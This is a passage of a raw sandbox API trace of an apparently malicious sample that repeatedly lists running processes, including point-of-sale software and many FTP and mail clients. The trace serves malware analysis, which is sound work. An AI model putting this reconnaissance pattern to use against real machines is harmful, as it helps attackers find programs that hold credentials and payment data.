lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0260.404] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0260.407] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0260.409] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0260.412] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0260.445] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0260.448] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0260.455] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.459] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0260.462] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.465] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0260.467] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0260.468] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0260.470] CloseHandle (hObject=0x2200) returned 1 [0260.470] Sleep (dwMilliseconds=0x64) [0260.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0260.486] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.487] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.489] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.491] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.492] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.494] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.495] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.497] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.500] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.502] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.503] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.505] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.507] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.510] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.512] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.513] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.515] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.517] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.519] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.520] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.522] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.523] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.527] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0260.528] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.530] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.533] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.536] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.538] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0260.539] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.541] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.542] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.544] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.545] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.549] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.550] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0260.552] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0260.553] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0260.555] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0260.596] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0260.597] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0260.599] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0260.601] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0260.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0260.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0260.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0260.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0260.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0260.610] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0260.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0260.614] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0260.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0260.617] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0260.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0260.621] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0260.623] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0260.625] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0260.627] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0260.629] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0260.632] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0260.634] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0260.636] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0260.638] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0260.640] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0260.642] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0260.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0260.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, 